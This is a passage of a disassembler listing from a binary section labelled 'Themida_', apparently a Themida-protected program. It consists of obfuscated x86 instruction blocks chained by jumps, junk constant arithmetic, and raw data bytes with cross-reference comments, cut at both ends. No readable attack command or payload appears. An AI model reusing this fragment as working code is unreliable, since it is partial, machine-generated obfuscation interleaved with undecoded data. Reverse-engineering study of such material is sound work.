pop esp pop dword ptr [esp] jmp loc_562091 ; --------------------------------------------------------------------------- dw 595Eh dd 17E9C501h db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563C37: ; CODE XREF: Themida_:00561FDEj xor edx, 0CEC9EA93h push esi jmp loc_5528D5 ; --------------------------------------------------------------------------- db 8Bh dd 0EC832424h, 24048904h, 0FEF42FE9h, 3C1968FFh, 2C890000h dd 4AB66824h, 815D28F5h, 0F54AB7F5h, 5BE95028h, 0BBFFFFC7h dd 2CAD40A3h, 0FAB7DEBEh, 5BDE295Dh, 549368h, 24148900h dd 0C5913BAh, 5AD629F0h, 348BF029h, 4C48324h, 626EE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563C96: ; CODE XREF: Themida_:00562F94j push 796Bh mov [esp], esi mov esi, esp jmp loc_5617DF ; --------------------------------------------------------------------------- db 0C1h, 0E2h, 7 dd 6FF668h, 242C8900h, 272B7DBDh, 0EAE95168h, 89FFFF32h dd 0E789243Ch, 7D59BD55h, 0CD811938h, 716F3634h, 8105E5C1h dd 0EFEF9CEDh, 9C70E92Fh, 0C483FFFFh, 15E28104h, 6828E438h dd 1A1Ch, 0FFA47CE9h db 0FFh ; --------------------------------------------------------------------------- loc_563CED: ; CODE XREF: Themida_:005607AFj and dl, 26h push ecx jmp loc_560305 ; --------------------------------------------------------------------------- loc_563CF6: ; CODE XREF: Themida_:00564478j add esi, 461368ABh jmp loc_55FFE5 ; --------------------------------------------------------------------------- loc_563D01: ; CODE XREF: Themida_:00564884j inc ch jmp loc_559A6C ; --------------------------------------------------------------------------- dd 1022E181h, 0E9C154A9h, 2E9C108h, 39E4E981h, 4E90643h dd 59FFFFFEh, 5C24048Fh, 241C8966h, 0FF7322E9h db 0FFh ; --------------------------------------------------------------------------- loc_563D2D: ; CODE XREF: Themida_:005581B9j pop ecx add eax, 70D109E7h add eax, edi sub eax, 70D109E7h push ebp jmp loc_5557F9 ; --------------------------------------------------------------------------- loc_563D40: ; CODE XREF: Themida_:0055731Bj mov eax, 42D3586Eh jmp loc_564103 ; --------------------------------------------------------------------------- dw 0CA01h dd 36C4C281h, 0E959712Eh, 0FFFFEF77h ; --------------------------------------------------------------------------- loc_563D58: ; CODE XREF: Themida_:0055AA7Bj xor edx, 7042F2Fh add eax, edx pop edx sub eax, 0C3739BD2h mov ebp, eax pop eax xor esi, ebp jmp loc_563644 ; --------------------------------------------------------------------------- dd 1FA8C181h, 0F90113D9h, 1FA8E981h, 3C8B13D9h, 4C48324h dd 34D16858h, 0C890000h, 2474FF24h, 2434FF04h, 0FF5983E9h dd 5AD001FFh, 0E5E9F829h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_563DA3: ; CODE XREF: Themida_:0055265Bj dec ebx xor ebx, 903F7CB0h mov ecx, ebx pop ebx add ecx, ebp pop ebp add ecx, eax xor [ecx], ebp pop ecx pop ebp mov eax, [esp] add esp, 4 jmp loc_56444E ; --------------------------------------------------------------------------- dd 295EF201h, 0E7EA81C2h, 5766B674h, 647E6855h, 0F75D5375h dd 0D06853D5h, 5B7EB77Ch, 8103E3C1h, 0BF25E5EBh, 11BAE905h dd 29590000h, 715CE9EAh, 0E952FFFFh, 0FFFFC379h, 3589CF81h dd 0F7813E64h, 0A6557485h, 2D5FF801h, 8157BD1h, 62CDB951h dd 0C181530Fh, 1, 3632BD55h, 1E907F5h, 0B9FFFF3Eh, 16102C90h dd 8159CF29h, 1B524AE7h, 0E64EE92Bh, 0C89FFFFh, 887CE924h dd 895CFFFFh, 0AEE9243Ch db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563E4B: ; CODE XREF: Themida_:00554526j not ebp xor ebp, 3410631Ch xor ebp, 67206983h shr ebp, 5 sub ebp, 272A922h mov edi, ebp pop ebp push 5B08h mov [esp], edi pop ecx push dword ptr [esp] pop edi add esp, 4 push ecx jmp loc_555CEB ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0FF240489h, 58042474h, 0E924048Fh, 0FFFF1446h ; --------------------------------------------------------------------------- loc_563E94: ; CODE XREF: Themida_:0055ABE5j add eax, ebp pop ebp sub eax, 7E867EC1h sub eax, edi add eax, 7E867EC1h jmp loc_55E1EC ; --------------------------------------------------------------------------- dd 0E924348Bh, 0FFFFD782h, 2EC81h, 89660000h, 44FE2414h dd 5A660124h, 0FEDD7FE9h db 0FFh ; --------------------------------------------------------------------------- loc_563EC5: ; CODE XREF: Themida_:00560295j mov edi, esp jmp loc_566380 ; --------------------------------------------------------------------------- dd 4EC81h, 0C7E90000h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563ED7: ; CODE XREF: Themida_:00554401j push dword ptr [esp] jmp loc_556312 ; --------------------------------------------------------------------------- loc_563EDF: ; CODE XREF: Themida_:0055DD89j shl edx, 8 or edx, 3D021129h and edx, 6740744Ch or edx, 9A2310h xor edx, 18C76B54h sub ecx, edx jmp loc_56134C ; --------------------------------------------------------------------------- db 5Eh, 81h, 0F6h dd 76D36333h, 83242C8Bh, 6804C4h, 81000000h, 9A9242Ch dd 34295840h, 0C6CE924h, 0E381FFFFh, 17285818h, 0FF704BE9h dd 241489FFh, 0B3535166h, 0F1B4E98Ch, 81B9FFFFh, 0C142BD65h dd 0F18103E9h, 13900F17h, 8622B850h, 0C1291136h, 59CF0958h dd 3402CF81h, 0B850783Dh, 59404DCFh, 0FF4262E9h, 241487FFh dd 0FED8B2E9h, 242489FFh, 4240481h, 59000000h, 4C181h dd 0C1830000h, 240C8704h, 5324248Bh, 3F3C68h, 24148900h dd 0C87DDABAh, 593D681Eh, 0BCE90000h, 0B8FFFFD2h, 2, 30E9C101h dd 0FFFFFF63h, 0FF042474h, 815B2434h, 4C4h, 24048F00h dd 0D529E95Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563FC2: ; CODE XREF: Themida_:00552CB5j pop ebx add bl, 44h sub bl, ah push edx jmp loc_5568B6 ; --------------------------------------------------------------------------- dw 0ED81h dd 4FD2238Bh, 0C581DD01h, 4FD2238Bh, 1A77E95Bh, 248B0000h dd 240C8924h, 5404EC83h, 0E924048Fh, 0FFFFD818h, 8904EC83h dd 4B82404h, 1000000h, 24048BC3h, 4C481h, 0EC810000h, 4 dd 0B9240C89h, 2, 34FFCB01h, 83515924h, 248904ECh, 0EFC2E924h dd 0E957FFFFh, 0FFFFB2ECh, 57BEE95Eh db 2 dup(0FFh) word_564036 dw 8B66h ; DATA XREF: Themida_:00551428o dd 89512404h, 3ADC68E1h, 1C890000h, 0A3685524h, 0E97F1175h dd 0FFFF63E9h, 8108E7C1h, 1673DECFh, 0EF81470Ah, 0F40FEA5Fh dd 0E95FFE01h, 0FFFF1958h, 2024248Bh, 0E99C2404h, 0FFFED477h ; --------------------------------------------------------------------------- loc_564074: ; CODE XREF: Themida_:0055F317j xor ecx, [esp] jmp loc_559511 ; --------------------------------------------------------------------------- dd 4240483h, 4EC835Ah, 0B9240C89h, 47EB0319h, 240CFF51h dd 3A39E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564096: ; CODE XREF: Themida_:0055BE67j jmp loc_5514EB ; --------------------------------------------------------------------------- loc_56409B: ; CODE XREF: Themida_:005604BAj push edi jmp loc_560992 ; --------------------------------------------------------------------------- db 88h, 0DAh, 5Bh dd 241C8B58h, 0FF04C483h, 50582434h, 405E089h, 0E9000000h dd 0FFFF9732h, 0E918EB80h, 0FFFF0164h, 9F9E958h, 51530000h dd 81E9E7B1h, 0F7FFFF34h, 34FF2414h, 0C4835D24h, 0E9EDD104h dd 0FFFF5950h ; --------------------------------------------------------------------------- loc_5640E4: ; CODE XREF: Themida_:005609ECj xor ebp, 74380D95h jmp loc_55467E ; --------------------------------------------------------------------------- db 33h dd 14312414h, 24143324h, 8324248Bh, 60E904ECh db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564103: ; CODE XREF: Themida_:00563D45j push edi mov edi, 477C71A0h add edi, 0C267924Bh or eax, edi pop edi inc eax neg eax add eax, 0FFFFFFFFh xor eax, 0FD09D1B3h mov ecx, eax pop eax xor ebx, ecx pop ecx add esi, 15574158h add esi, 10CE3681h sub esi, ebx push ecx mov ecx, 10CE3681h sub esi, ecx pop ecx sub esi, 15574158h jmp loc_559B0B ; --------------------------------------------------------------------------- loc_564147: ; CODE XREF: Themida_:00559A7Bj push edx mov dh, 0EBh mov bl, 9 add bl, dh pop edx jmp loc_551769 ; --------------------------------------------------------------------------- loc_564154: ; CODE XREF: Themida_:005619EEj add esp, 4 push ecx jmp loc_560287 ; --------------------------------------------------------------------------- dd 0E9A6EC80h, 0FFFEF644h, 5EF2015Ah, 1608E9h db 0 ; --------------------------------------------------------------------------- loc_564171: ; CODE XREF: Themida_:0055831Ej add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_55A1B6 ; --------------------------------------------------------------------------- loc_564186: ; CODE XREF: Themida_:00557F10j push esi add dword ptr [esp], 5E2D38DBh pop ebx jmp loc_561FEA ; --------------------------------------------------------------------------- dd 721091BAh, 57E2D119h, 2F5BCDBFh, 33CF8172h, 8118BA5Dh dd 9557B0E7h, 3E7C12Eh, 0FF95FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5641B5: ; CODE XREF: Themida_:00554320j dec ecx jmp loc_55FB25 ; --------------------------------------------------------------------------- db 83h dd 0C4E904ECh, 5000004h, 354A770Ah, 2404335Fh, 0FF63C8E9h dd 2414F7FFh, 8E3C15Bh, 0FEDB46E9h db 0FFh ; --------------------------------------------------------------------------- loc_5641DD: ; CODE XREF: Themida_:005611DEj pop dword ptr [esp] jmp loc_563A62 ; --------------------------------------------------------------------------- db 29h, 0F3h, 0E9h dd 0FFFEF1CFh, 0C380D300h, 0BC685A76h, 0E900004Ch, 0FFFF062Ch dd 3C4C4868h, 0F1815910h, 1EA42560h, 18E9CB89h db 2Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56420F: ; CODE XREF: Themida_:00554145j add ebx, eax jmp loc_55E216 ; --------------------------------------------------------------------------- loc_564216: ; CODE XREF: Themida_:00558BA0j mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push 0A5Bh mov [esp], edi jmp loc_565331 ; --------------------------------------------------------------------------- dw 1C8Bh dd 0A109E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56423A: ; CODE XREF: Themida_:0055ACBEj xor eax, edx xor edx, eax xor eax, edx push esi jmp loc_55D344 ; --------------------------------------------------------------------------- dw 0F989h dd 0FFE301E9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp jmp loc_561C49 ; --------------------------------------------------------------------------- db 58h dd 3781E957h, 5755FFFFh, 0E0E41BFh, 0AECAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564272: ; CODE XREF: Themida_:005668A6j pop eax push 54C8h mov [esp], edx push ebp mov ebp, 2E1E52B6h sub esp, 4 jmp loc_563622 ; --------------------------------------------------------------------------- byte_564289 db 0ADh, 2Dh, 33h ; DATA XREF: Themida_:005513D8o dd 0E9780453h, 88Bh, 800CB151h, 0E980EBE9h, 71C2805Ah dd 0EA80CA00h, 0DAF65971h, 5010EA80h, 0C788D088h, 0FA71E958h dd 1C8BFFFEh, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h dd 5B16D32Dh, 0D7D3E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5642D6: ; CODE XREF: Themida_:0055AA46j sub esp, 4 mov [esp], ecx mov ecx, 29E766B6h mov ebp, 7CAE9F2Bh sub ebp, 22D0148Ah jmp loc_55A9EC ; --------------------------------------------------------------------------- loc_5642F4: ; CODE XREF: Themida_:0055C7A1j mov [esp], edi mov edi, 47C008E3h jmp loc_551686 ; --------------------------------------------------------------------------- db 0BFh, 4, 0 dd 0FD010000h, 0EC81575Fh, 4, 0BE243489h, 2, 34FFF789h dd 0EBDFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564322: ; CODE XREF: Themida_:0055ADDCj push ebp mov ebp, 6B2C7845h and ebp, 68044A9Eh add ebp, 35505A39h add ebp, 4B7A14BEh sub ebp, 0B37FABAEh sub ebx, ebp jmp loc_5543F8 ; --------------------------------------------------------------------------- db 56h dd 52D32BEh, 6E6C168h, 0DEF7DEF7h, 2DA0E946h, 0C681FFFFh dd 4, 4C681h, 34870000h, 41E95C24h db 0D7h, 2 dup(0FFh) byte_56436F db 0FFh ; DATA XREF: Themida_:0055138Co dd 148B2434h, 22E95224h, 47000010h, 8107EFC1h, 70215AC7h dd 0CDF7814Ah, 0E93B0327h, 0FFFF3C3Bh dword_564390 dd 240C8B66h, 561FE955h ; DATA XREF: Themida_:00551440o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56439A: ; CODE XREF: Themida_:0055AED6j mov esi, 58F07DD4h sub edx, esi pop esi and edx, 4C4C5839h add edx, 0B7BBA7C9h push ebp jmp loc_555982 ; --------------------------------------------------------------------------- dd 1B76E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5643BA: ; CODE XREF: Themida_:00558302j xor edx, [esp] xor [esp], edx jmp loc_5560DA ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 0BEh db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5643CB: ; CODE XREF: Themida_:0055CEF3j push ebp mov ebp, esp add ebp, 4 push ebx jmp loc_552C04 ; --------------------------------------------------------------------------- loc_5643DA: ; CODE XREF: Themida_:00557C19j mov esi, ebp pop ebp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx push esi pop ecx mov eax, ecx mov ecx, [esp] add esp, 4 push dword ptr [esp] pop esi sub esp, 4 jmp loc_55259F ; --------------------------------------------------------------------------- loc_564409: ; CODE XREF: Themida_:00564C69j mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 add esi, 4 push 6C12h mov [esp], eax push esi mov esi, 4328692Eh mov eax, 0BF050CDAh sub eax, 2C80158h jmp loc_5605AD ; --------------------------------------------------------------------------- loc_56443C: ; CODE XREF: Themida_:0055A098j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp loc_56444E: ; CODE XREF: Themida_:0055EC2Aj ; Themida_:00563DBFj push dword ptr [esp] mov ebx, [esp] add esp, 4 push 3F52h jmp loc_555EF1 ; --------------------------------------------------------------------------- loc_564461: ; CODE XREF: Themida_:00561A63j mov esi, 3A097E9Dh and esi, 7D5A151Dh and esi, 481460B8h add esi, 5E3C7320h jmp loc_563CF6 ; --------------------------------------------------------------------------- db 68h, 0C9h, 60h dd 1C890000h, 1C8B5424h, 4C48324h, 0D6F4E956h, 0BB53FFFFh dd 4, 875BD901h, 248B240Ch, 240C3324h, 33240C31h, 248B240Ch dd 2CD36624h, 34E99C24h, 81FFFED0h, 0B56FF7C2h, 89575B5Bh dd 4C781E7h, 0E9000000h, 0FFFFB9CFh ; --------------------------------------------------------------------------- loc_5644CC: ; CODE XREF: Themida_:00564CF4j not dh mov cl, dh mov edx, [esp] add esp, 4 xchg cl, bl push 707Dh jmp loc_566B6F ; --------------------------------------------------------------------------- dw 0DAF7h dd 26F0EA81h, 565724C6h, 0FA77BBBEh, 0B41BF55h, 8BE91C70h dd 81FFFFA3h, 7DE487F1h, 0C3E5E9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564506: ; CODE XREF: Themida_:005532E5j mov edi, 48161A75h shr edi, 4 neg edi shl edi, 3 dec edi jmp loc_554D10 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FF8CE4E9h, 4C383FFh, 0FEDC2AE9h, 0BA5E5DFFh, 47EED48Eh dd 0D70EA81h, 97E93955h, 5D000028h, 25C0EB81h, 0EB81087Eh dd 41D85691h, 0C0E9C301h, 81FFFF0Fh, 0F76DECEEh, 0AF68166h dd 89A49AC0h, 0DE895EF3h, 896FE95Bh db 2 dup(0FFh) word_564566 dw 77FFh ; DATA XREF: Themida_:00551354o dd 0AD98E938h, 0C0B9FFFFh, 0E90EAA69h, 0FFFEDA69h ; --------------------------------------------------------------------------- loc_564578: ; CODE XREF: Themida_:005514F9j xchg eax, [esp] pop esp mov [esp], edx jmp loc_557DB9 ; --------------------------------------------------------------------------- aXsb db 'XИ│',27h,0 align 2 dw 2F04h dd 2F2CF800h, 76E95B66h, 89000007h, 1E59E9D1h, 48F0000h dd 66DE924h, 0D601FFFFh, 0E924148Bh, 0FFFEE204h, 55FFED81h dd 515972D7h, 106C68h, 0A9CEE900h, 5166FFFFh, 0D1E972B5h dd 83FFFEE4h, 0EC8104C4h, 4, 54241489h, 68BF575Ah, 8159D034h dd 480C94E7h, 2EF8125h, 0E9468F3Fh, 0FFFF4F91h, 6B238CBFh dd 9CEF8144h, 0E92376A5h, 0FFFF141Eh, 5304C483h, 0EFC021B7h dd 23F78002h, 0EFC0D7F6h, 7DC78003h, 28D8EF80h, 2434FFF8h dd 4C4815Bh, 28000000h, 9B15E9E8h, 0E189FFFFh, 774DBD55h dd 0F5812688h, 4195453Fh, 0FF359DE9h, 251FBAFFh, 0F201153Fh dd 0E924348Bh, 0FFFFF68Eh ; --------------------------------------------------------------------------- loc_56464C: ; CODE XREF: Themida_:005583FBj mov [esp], edx push eax mov eax, ebx mov edx, eax pop eax push 6992h jmp loc_564A64 ; --------------------------------------------------------------------------- aQh6 db 'Qhч6',0 dd 24248900h, 2E3E68h, 242C8900h, 4BDh, 0F292E900h, 1468FFFFh dd 89000040h, 77E9242Ch, 89FFFF22h, 4BB9240Ch, 21484306h dd 0E8C159C8h, 637DE906h, 0E951FFFFh, 0FFFEF404h, 47C06853h dd 34FF2E7Dh, 89565B24h, 4C681E6h, 83000000h, 348704C6h dd 0EC835C24h, 243C8904h, 0ED6AD5BFh, 81EFD165h, 0D8042AF7h dd 0EACF817Bh, 50149A07h, 946E16B8h, 0E9C73133h, 0FFFF1D5Ch dd 42474FFh, 24048F5Fh, 0FFEC30E9h db 0FFh ; --------------------------------------------------------------------------- loc_5646ED: ; CODE XREF: Themida_:00565433j add edi, 3D130CBFh add edi, ecx sub edi, 3D130CBFh push ecx mov ecx, 23FB4327h sub edi, 6B192BEAh sub edi, ecx add edi, 6B192BEAh pop ecx push edx mov edx, 337B79B0h push ebp push ecx jmp loc_551AC4 ; --------------------------------------------------------------------------- db 0B4h, 13h, 0E9h dd 0FFFFFE9Eh, 0E98AE680h, 0FFFF86D0h ; --------------------------------------------------------------------------- loc_56472C: ; CODE XREF: Themida_:00558DBEj sub dword ptr [esp], 1 pop ebx inc ebx not ebx inc ebx add ebx, 0AFCE9F08h sub esi, 87D1BCDh sub esi, 63C26D4Ch add esi, ebx add esi, 63C26D4Ch push eax jmp loc_55A93D ; --------------------------------------------------------------------------- dd 5C240433h, 4C381h, 1C870000h, 24248B24h, 0F7F2875Ah dd 31F287D6h, 31FA31D7h, 243C31D7h, 31243C33h, 68E9243Ch db 0CDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564783: ; CODE XREF: Themida_:005541CEj and eax, 19B804D7h add eax, 0C4F58743h jmp loc_55A80E ; --------------------------------------------------------------------------- loc_564792: ; CODE XREF: Themida_:005621C8j pop edx jmp loc_557A59 ; --------------------------------------------------------------------------- dd 3EDC15Bh, 0FF16A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5647A1: ; CODE XREF: Themida_:005619B5j xor ebp, [esp] jmp loc_55D4E1 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 34h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5647AF: ; CODE XREF: Themida_:0055F961j mov edx, 7D451825h jmp loc_560895 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 68000000h, 7C1Ch, 0E9241489h, 0FFFF36A4h ; --------------------------------------------------------------------------- loc_5647CC: ; CODE XREF: Themida_:005520EEj xchg ecx, [esp] pop esp jmp loc_55AB73 ; --------------------------------------------------------------------------- db 31h, 0D5h, 5Ah dd 0FF38FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5647DD: ; CODE XREF: Themida_:00554C98j push ecx mov ecx, 1 jmp loc_563317 ; --------------------------------------------------------------------------- dd 2F79B850h, 0FBE93E61h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5647F3: ; CODE XREF: Themida_:0056369Cj sub esi, 4B6D268Dh add ebp, esi pop esi add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_56687D ; --------------------------------------------------------------------------- loc_564810: ; CODE XREF: Themida_:0056023Aj pop esp jmp loc_555F14 ; --------------------------------------------------------------------------- dw 30B0h dd 0C52820B5h, 51E5D058h, 12454F6h, 83240C8Bh, 525004C4h dd 75B452B6h, 76C480h, 0CDCDE9F4h, 1487FFFEh, 24895C24h dd 1817E924h, 25BBFFFFh, 3165901Dh, 51505DEBh, 0B56FF7B9h dd 0E9C8895Bh, 0FFFED9D8h ; --------------------------------------------------------------------------- loc_56485C: ; CODE XREF: Themida_:0055E085j mov eax, esp add eax, 4 push edi push ebx jmp loc_557EF3 ; --------------------------------------------------------------------------- dw 0EE81h dd 4042EA6Ch, 555EF301h, 0FC1DF2BDh, 0BFE95670h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56487F: ; CODE XREF: Themida_:0055B88Dj shl ch, 6 not ch jmp loc_563D01 ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 0E9240431h, 0FFFFFEC4h, 8904C483h, 0E9875EF1h, 0C0E9DDF7h dd 31FFFFC7h, 72D6E9C5h, 0F828FFFFh, 81241C8Bh, 4C4h, 140400h dd 4142CF8h, 1C8B66CBh, 0E3895324h, 2D79B850h, 822D2BF5h dd 0E909323Ch, 0FFFFC211h, 0E904C783h, 0FFFFC254h, 4C181h dd 0E9830000h, 240C3304h, 0FF8387E9h db 0FFh byte_5648ED db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055127Co dd 0C816E924h, 0C281FFFFh, 239A1815h, 1006E95Bh, 0C483FFFFh dd 9796E904h, 815DFFFFh, 5A4E12E2h, 0BCC2811Bh, 0F72E037Eh dd 41EA81DAh, 813BEE38h, 245DEAF2h, 0E9D5892Fh, 247Fh ; --------------------------------------------------------------------------- loc_56492C: ; CODE XREF: Themida_:00565EBDj and al, 0FDh dec al xor al, 41h sub bh, al mov eax, [esp] jmp loc_55D99A ; --------------------------------------------------------------------------- loc_56493C: ; CODE XREF: Themida_:0055B6F8j dec esi not esi neg esi jmp loc_5546F5 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 148B5952h, 4C48324h, 0F181D1F7h, 0BC49DE58h, 3BAC581h dd 0ED817E61h, 42433C26h, 7DE9CD01h, 0C1FFFFA6h, 0F75304EBh dd 815B2414h, 71D301EBh, 0FFDF01F6h, 0E95B2434h, 0FFFF410Dh dd 3513B32Dh, 44315F52h, 8B580424h, 6E92414h, 0B1FFFEDDh dd 28A00412h, 8BA02CC8h, 8956240Ch, 4C681E6h, 83000000h dd 348704C6h, 0DB51E924h, 74FFFFFFh, 0E9580424h, 0FFFEDC18h dd 42474FFh, 8124048Bh, 4C4h, 24048F00h, 0AF0DE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5649DA: ; CODE XREF: Themida_:0055A9F4j pop ecx shl ebp, 6 shr ebp, 8 and ebp, 3ECC7B1Ch xor ebp, 14331DBDh sub edx, ebp jmp loc_55BDAD ; --------------------------------------------------------------------------- loc_5649F4: ; CODE XREF: Themida_:0055C5ACj pop edi xor esi, 9EC20610h push esi push ebp mov ebp, 7CF2543Ah jmp loc_56094C ; --------------------------------------------------------------------------- loc_564A07: ; CODE XREF: Themida_:0055631Cj mov edi, ebp pop ebp push dword ptr [esp] mov eax, [esp] jmp loc_554D20 ; --------------------------------------------------------------------------- loc_564A15: ; CODE XREF: Themida_:00554EE0j rep movsd add esp, [edx+38h] push edi mov edi, 7D9C4BBEh and edi, 5C410223h xor edi, 76B6AB2h inc edi jmp loc_55A6CB ; --------------------------------------------------------------------------- dw 0ED80h dd 0EBC58016h, 0FF2C40E9h, 88CDB7FFh, 241C8BFAh, 4C481h dd 0D0000000h, 0FFEAF7E9h, 68FFh, 14280000h, 24148A24h dd 0E9E28952h, 0FFFF6BF6h ; --------------------------------------------------------------------------- loc_564A64: ; CODE XREF: Themida_:0056465Aj mov [esp], ecx mov ecx, edx sub esp, 4 mov [esp], ecx pop eax pop ecx jmp loc_55D632 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 68E99C50h, 0BFFFFECAh, 40483725h, 0FEDA6CE9h, 240C89FFh dd 444519B9h, 0E9CB291Bh, 0FFFF9463h ; --------------------------------------------------------------------------- loc_564A9C: ; CODE XREF: Themida_:00558335j add eax, 52A95CC2h jmp loc_55CE20 ; --------------------------------------------------------------------------- dw 2FBFh dd 4744B061h, 0C7E9D7F7h db 0F9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564AB3: ; CODE XREF: Themida_:0055CDA2j sub esi, ecx mov ecx, [esp] add esp, 4 jmp loc_5550C4 ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 2404FF24h, 0CA19E99Ch db 0FEh, 0FFh word_564AD2 dw 83ADh ; DATA XREF: Themida_:00551420o dd 0F00207Fh, 0FFAB7384h, 55C681FFh, 5061BB4Ah, 974F7E68h dd 43E95870h, 83FFFF6Ah, 148904ECh, 4EC8124h, 81000000h dd 4ECh, 0DDCFE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564B06: ; CODE XREF: Themida_:005653D1j movzx eax, al pop small word ptr [edi+eax*4] jmp loc_5514EB ; --------------------------------------------------------------------------- dw 1C89h dd 1898BB24h, 8BE97ED1h, 56FFFEE5h, 871818BEh, 7121E93Eh dd 0C483FFFFh, 4EC8304h, 54243C89h, 8B2434FFh, 0C481243Ch dd 4, 0FF7A7BE9h, 4BFFFh, 0F8890000h, 0FF4A78E9h db 0FFh ; --------------------------------------------------------------------------- loc_564B51: ; CODE XREF: Themida_:0056188Cj add esp, 4 push 26C1h mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor ebx, eax pop dword ptr [eax] jmp loc_5527F9 ; --------------------------------------------------------------------------- loc_564B77: ; CODE XREF: Themida_:0055C32Aj mov edx, ecx jmp loc_558307 ; --------------------------------------------------------------------------- dw 3C87h dd 0F5685C24h, 8900002Fh, 0CAE9243Ch, 68FFFFECh, 24B5h dd 54243C89h, 5F2434FFh, 4C481h, 0B9510000h, 4, 3236B951h dd 0E9C10F2Eh, 35F18103h, 297830CAh, 240C8BCFh, 0E904C483h dd 0FFFFEB44h, 2EF1685Eh, 14890000h, 4BA24h, 9FE90000h dd 0FFFFFFC3h, 0E9042474h, 0FFFEFC7Eh, 1C8BDF01h, 4C48324h dd 4EF81h, 0EC830000h, 243C8904h, 42474FFh, 24048F5Fh dd 240C895Ch, 8853C188h, 554B68CFh, 0C890000h, 81FD8824h dd 4ECh, 241C8900h, 0B850EF88h, 0 dd 7515BA52h, 7DE9145Ah, 0BBFFFFE0h, 14453D71h, 295BDF29h dd 71C781F7h, 5E14453Dh, 5001C783h, 0FF607EE9h db 0FFh ; --------------------------------------------------------------------------- loc_564C45: ; CODE XREF: Themida_:005622C2j pop ebx and ecx, esi push dword ptr [esp] pop esi add esp, 4 shr ecx, 0Bh push 57FBh mov [esp], ebx push dword ptr [esp] pop eax sub esp, 4 mov [esp], esi push 59DDh jmp loc_564409 ; --------------------------------------------------------------------------- loc_564C6E: ; CODE XREF: Themida_:0055FC9Aj mov eax, [esp] push ebp push esp pop ebp add ebp, 4 push edi mov edi, 4 add ebp, 76E92B49h sub esp, 4 jmp loc_5588AA ; --------------------------------------------------------------------------- dw 0F66h dd 0EC83CCB6h, 24048904h, 2DB768h, 446AE900h, 4B8FFFFh dd 0E9000000h, 0FFFF1320h ; --------------------------------------------------------------------------- loc_564CAC: ; CODE XREF: Themida_:0055FE96j xor eax, ebp mov ebp, [esp] add esp, 4 add ecx, eax mov eax, [esp] jmp loc_560933 ; --------------------------------------------------------------------------- loc_564CBE: ; CODE XREF: Themida_:00552273j or eax, eax jz loc_5588E7 push dword ptr [edi+28h] jmp loc_560021 ; --------------------------------------------------------------------------- loc_564CCE: ; CODE XREF: Themida_:0055630Dj pop eax add eax, 4 push edi jmp loc_55D77E ; --------------------------------------------------------------------------- loc_564CDA: ; CODE XREF: Themida_:00560E4Ej sub esp, 4 mov [esp], ebx mov bl, 0FDh and bl, 0EFh push dx mov dh, bl dec dh mov bl, dh pop dx xchg cl, bl push edx mov dh, cl jmp loc_5644CC ; --------------------------------------------------------------------------- loc_564CF9: ; CODE XREF: Themida_:0055AF73j pop edx jmp loc_55544C ; --------------------------------------------------------------------------- db 56h dd 0C681E689h, 4, 0FFD378E9h, 521D34FFh, 0FFEA9FE9h, 0E9D028FFh dd 0FFFF964Ah ; --------------------------------------------------------------------------- loc_564D1C: ; CODE XREF: Themida_:00554BD7j mov edx, [esp] add esp, 4 mov ebx, [esp] jmp loc_55477D ; --------------------------------------------------------------------------- loc_564D2A: ; CODE XREF: Themida_:0055B518j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax mov eax, 3BD47A38h xor eax, 183317F0h or eax, 5B76036Dh jmp loc_55414A ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 8704E883h, 895C2404h, 0E9512434h, 0FFFF61E0h, 2 dup(5C24048Fh) dd 0FF4661E9h db 0FFh ; --------------------------------------------------------------------------- loc_564D75: ; 